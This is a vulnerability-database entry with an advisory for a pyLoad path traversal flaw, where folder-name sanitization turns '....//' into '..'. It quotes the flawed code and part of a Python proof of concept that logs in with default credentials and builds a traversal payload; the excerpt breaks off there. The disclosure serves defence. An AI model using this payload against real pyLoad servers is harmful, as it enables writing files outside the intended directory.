Most recent entries from all

EUVD-2026-310048

fkie_cve-2026-42314

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100.

GHSA-97r3-5w84-r4q8 — PyLoad Vulnerable to Path Traversal via Package Folder Name

Affected: PyPI: pyload-ng

Insufficient sanitization of package folder names allows writing files outside the intended download directory.

## Affected Component - `src/pyload/core/api/__init__.py` - Function: `add_package()`

## Description Package folder names are sanitized using insufficient string replacement:

```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ```

The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.

## Proof of Concept

### Setup ```bash pip install pyload-ng[all] pyload -d & # Default credentials: pyload / pyload ```

### Exploit ```python #!/usr/bin/env python3 import requests

BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload"

session = requests.Session()

# Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD })

# Create package with malicious folder name # The pattern ....// bypasses the ../ replacement # After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil"

resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE })

package_id = resp.json() print(f"Created p…

PYSEC-2026-128

Affected: PyPI: pyload-ng